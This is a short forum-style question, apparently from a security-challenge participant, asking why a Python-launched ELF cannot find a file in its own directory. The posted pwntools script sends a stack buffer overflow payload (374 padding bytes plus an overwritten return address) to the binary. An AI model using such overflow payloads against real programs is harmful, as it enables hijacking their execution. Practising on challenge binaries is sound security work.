I have a problem with subprocesses in python: my script opens an ELF file that executes a fopen() on a file in the same directory of the ELF. The ELF works fine if I open it directly (no "file not found" error) but when running it from the python script, it cannot find the file. The script is in another directory and the code is this:
from pwn import *
from subprocess import *
proc = subprocess.Popen("/home/m876650/mission3/mission3",
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
ret_addr = 0x00000000004007d8
print proc.stdout.readline()
payload = "A"*374 + p64(ret_addr)
proc.stdin.write(payload + '\n')
It is for a security challenge, nothing illegal! Thanks for the help!